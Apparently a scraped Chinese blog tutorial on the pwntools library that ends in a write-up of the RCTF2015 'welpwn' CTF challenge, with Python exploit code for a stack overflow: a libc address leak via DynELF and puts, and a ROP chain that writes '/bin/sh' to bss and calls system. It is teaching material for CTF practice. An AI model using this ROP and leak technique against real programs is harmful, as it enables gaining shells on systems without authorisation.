天天看點

pwntools實戰CTFpwn題

Pwntools安裝,一條指令就能搞定

pip install --upgrade pwntools

安裝完畢後在python環境下隻需使用

from pwn import *

即可導入

這會将大量的功能導入到全局命名空間,然後我們就可以直接使用單一的函數進行彙編、反彙編、pack,unpack等操作。

常用的子產品有下面幾個:

asm : 彙編與反彙編,支援x86/x64/arm/mips/powerpc等基本上所有的主流平台

dynelf : 用于遠端符号洩漏,需要提供leak方法

elf : 對elf檔案進行操作

gdb : 配合gdb進行調試

memleak : 用于記憶體洩漏

shellcraft : shellcode的生成器

tubes : 包括tubes.sock, tubes.process, tubes.ssh, tubes.serialtube,分别适用于不同場景的PIPE

utils : 一些實用的小功能,例如CRC計算,cyclic pattern等

Tubes讀寫接口

這是exploit最為基礎的部分,對于一次攻擊而言前提就是與目标伺服器或者程式進行互動,這裡就可以使用remote(address, port)産生一個遠端的socket然後就可以讀寫了

先來看看pwntools建立連接配接的功能

現在一台kali上開啟ftp服務

pwntools實戰CTFpwn題

然後在安裝了pwntools的機器上使用如下指令進行連接配接

pwntools實戰CTFpwn題

這裡是模拟了使用anonymous使用者登入ftp服務的場景

pwntools還有建立監聽器的功能,如下所示

pwntools實戰CTFpwn題

上圖中是自動監聽41375端口,然後模仿發送hello消息,然後使用recv()進行接收。

通過pwnlib.tubes.process可以與程序進行互動

pwntools實戰CTFpwn題

上圖中是與/bin/sh進行互動,列印hello world

我們不單單可以通過程式設計的方式事先寫好與程序互動的邏輯,還可以直接與程序互動

pwntools實戰CTFpwn題

上圖中通過interactive()進入了互動模式

無論哪種PIPE都是繼承tube而來,可以用于讀寫函數主要有:

interactive() : 直接進行互動,相當于回到shell的模式,在取得shell之後使用

recv(numb=4096, timeout=default) : 接收指定位元組

recvall() : 一直接收直到EOF

recvline(keepends=True) : 接收一行,keepends為是否保留行尾的\n

recvuntil(delims, drop=False) : 一直讀到delims的pattern出現為止

recvrepeat(timeout=default) : 持續接受直到EOF或timeout

send(data) : 發送資料

sendline(data) : 發送一行資料,相當于在資料末尾加\n

彙編與反彙編

使用asm進行彙編

pwntools實戰CTFpwn題

使用disasm進行反彙編

pwntools實戰CTFpwn題

shellcode生成器

使用shellcraft可以生成對應的架構的shellcode代碼,直接使用鍊式調用的方法就可以得到

pwntools實戰CTFpwn題

如上所示,如果需要在64位的Linux上執行/bin/sh就可以使用shellcraft.amd64.linux.sh(),配合asm函數就能夠得到最終的pyaload了。

除了直接執行sh之外,還可以進行其它的一些常用操作例如提權、反向連接配接等等

0x02

elf檔案操作

在進行elf檔案逆向的時候,總是需要對各個符号的位址進行分析,elf子產品提供了一種便捷的方法能夠迅速的得到檔案内函數的位址,plt位置以及got表的位置

下圖分别是列印檔案裝載的基位址、函數位址、GOT表的位址、PLT表的位址

pwntools實戰CTFpwn題

其他可用的函數還包括:

asm(address, assembly) : 在指定位址進行彙編

bss(offset) : 傳回bss段的位置,offset是偏移值

checksec() : 對elf進行一些安全保護檢查,例如NX, PIE等。

disasm(address, n_bytes) : 在指定位置進行n_bytes個位元組的反彙編

offset_to_vaddr(offset) : 将檔案中的偏移offset轉換成虛拟位址VMA

vaddr_to_offset(address) : 與上面的函數作用相反

read(address, count) : 在address(VMA)位置讀取count個位元組

write(address, data) : 在address(VMA)位置寫入data

section(name) : dump出指定section的資料

ROP鍊生成器

回顧一下ROP的原理,由于NX開啟不能在棧上執行shellcode,我們可以在棧上布置一系列的傳回位址與參數,這樣可以進行多次的函數調用,通過函數尾部的ret語句控制程式的流程,而用程式中的一些pop/ret的代碼塊(稱之為gadget)來平衡堆棧。其完成的事情無非就是放上/bin/sh,覆寫程式中某個函數的GOT為system的,然後ret到那個函數的plt就可以觸發system(’/bin/sh’)。由于是利用ret指令的exploit,是以叫Return-Oriented Programming。

這種技術的難點自然就是如何在棧上布置傳回位址以及函數參數。而pwntools的ROP子產品的作用,就是自動地尋找程式裡的gadget,自動在棧上部署對應的參數。

使用ROP(elf)來産生一個rop的對象,這時rop鍊還是空的,需要在其中添加函數

pwntools實戰CTFpwn題

ROP對象實作了__getattr__的功能,可以直接通過func call的形式來添加函數,rop.read(0, elf.bss(0x80))實際相當于rop.call(‘read’, (0, elf.bss(0x80)))。 通過多次添加函數調用,最後使用str将整個rop chain dump出來就可以了。

pwntools實戰CTFpwn題

其他常用函數包括:

call(resolvable, arguments=()) : 添加一個調用,resolvable可以是一個符号,也可以是一個int型位址,注意後面的參數必須是元組否則會報錯,即使隻有一個參數也要寫成元組的形式(在後面加上一個逗号)

chain() : 傳回目前的位元組序列,即payload

dump() : 直覺地展示出目前的rop chain

raw() : 在rop chain中加上一個整數或字元串

search(move=0, regs=None, order=’size’) : 按特定條件搜尋gadget,沒仔細研究過

unresolve(value) : 給出一個位址,反解析出符号

另外,對于整數的pack與資料的unpack,可以使用p32,p64,u32,u64這些函數,分别對應着32位和64位的整數

接下來我們使用pwntools實戰CTF題目

題目來自RCTF2015,名為welpwn

先看看程式的基本資訊

pwntools實戰CTFpwn題
pwntools實戰CTFpwn題

可以知道,這是64位linux下的二進制程式,無cookie

通過IDA靜态分析

pwntools實戰CTFpwn題

main函數如下

pwntools實戰CTFpwn題

僞碼

pwntools實戰CTFpwn題

read()函數讀取位元組數為0x400,即十進制的1024,即read()讀取1024個位元組的資料,随後調用echo()

定位到echo()

pwntools實戰CTFpwn題

可以看到echo函數的棧幀大小為20h

echo的僞碼

pwntools實戰CTFpwn題

可以知道,echo函數中存在循環指派,循環的次數為read函數讀的資料的長度

由于echo函數的棧桢大小(20h)遠小于read函數可以讀取的資料長度(400h),在進行循環指派的時候,echo函數儲存在棧中的傳回位址會被覆寫。

整個程式邏輯是這樣的,main函數中,使用者可以輸入1024個位元組,并通過echo函數将輸入複制到自身棧空間,但該棧空間很小,使得棧溢出成為可能。由于複制過程中,以“x00”作為字元串終止符,故如果我們的payload中存在這個字元,則不會複制成功;但實際情況是,因為welpwn的NX為enabled,即設定了棧不可執行,是以我們需要構造ROP鍊,這樣肯定會在payload中包含“x00”字元。

那麼怎麼繞過這個障礙呢?

由于echo函數的棧空間很小,與main函數棧中的輸入字元串之間隻間隔32位元組(0x20h),故我們可以隻複制過去24位元組資料加上一個包含連續4個pop指令的gadget位址(8位元組),并借助這個gadget跳過原字元串的前32位元組資料,即可進入我們正常的通用gadget調用過程

繞過這個障礙後,解題思路就很清晰了:

洩露libc,擷取system,gets等函數位址

構造gets(bss);将’/bin/sh’寫入bss段

構造’system("/bin/sh")'得到shell

使用ROPgadgets尋找gadgets,用于構造ROP鍊

pwntools實戰CTFpwn題

找到main函數位址,用作傳回位址

pwntools實戰CTFpwn題

bss段開始位址,用于存儲字元串(‘/bin/sh’)

pwntools實戰CTFpwn題

puts(plt)位址,用于洩露記憶體

pwntools實戰CTFpwn題

構造ROP鍊,洩露記憶體

rop = p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main)

payload = “A” * 24 + p64(ppppr) + rop

利用pwnlib中DynELF子產品洩露libc中system和puts位址

def leak(addr):

rop = p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main)

payload = “A” * 24 + p64(ppppr) + rop

p.sendline(payload)

p.recv(27)

tmp = p.recv()

data = tmp.split("\nWelcome")[0]

if len(data):

return data

else:

return ‘\x00’

d = DynELF(leak, elf=ELF(‘welpwn’))

system = d.lookup(‘system’, ‘libc’)

gets = d.lookup(‘gets’, ‘libc’)

構造ROP鍊将’/bin/sh’寫入bss段,并執行system("/bin/sh"):

rop = p64(poprdi) + p64(bss) + p64(gets) + p64(poprdi) + p64(bss) + p64(system) + p64(0xdeadbeef)

payload = “A”*24 + p64(ppppr) + rop

完整代碼在1.py

運作後如圖所示

pwntools實戰CTFpwn題

拿到shell

pwntools實戰CTFpwn題
bin

繼續閱讀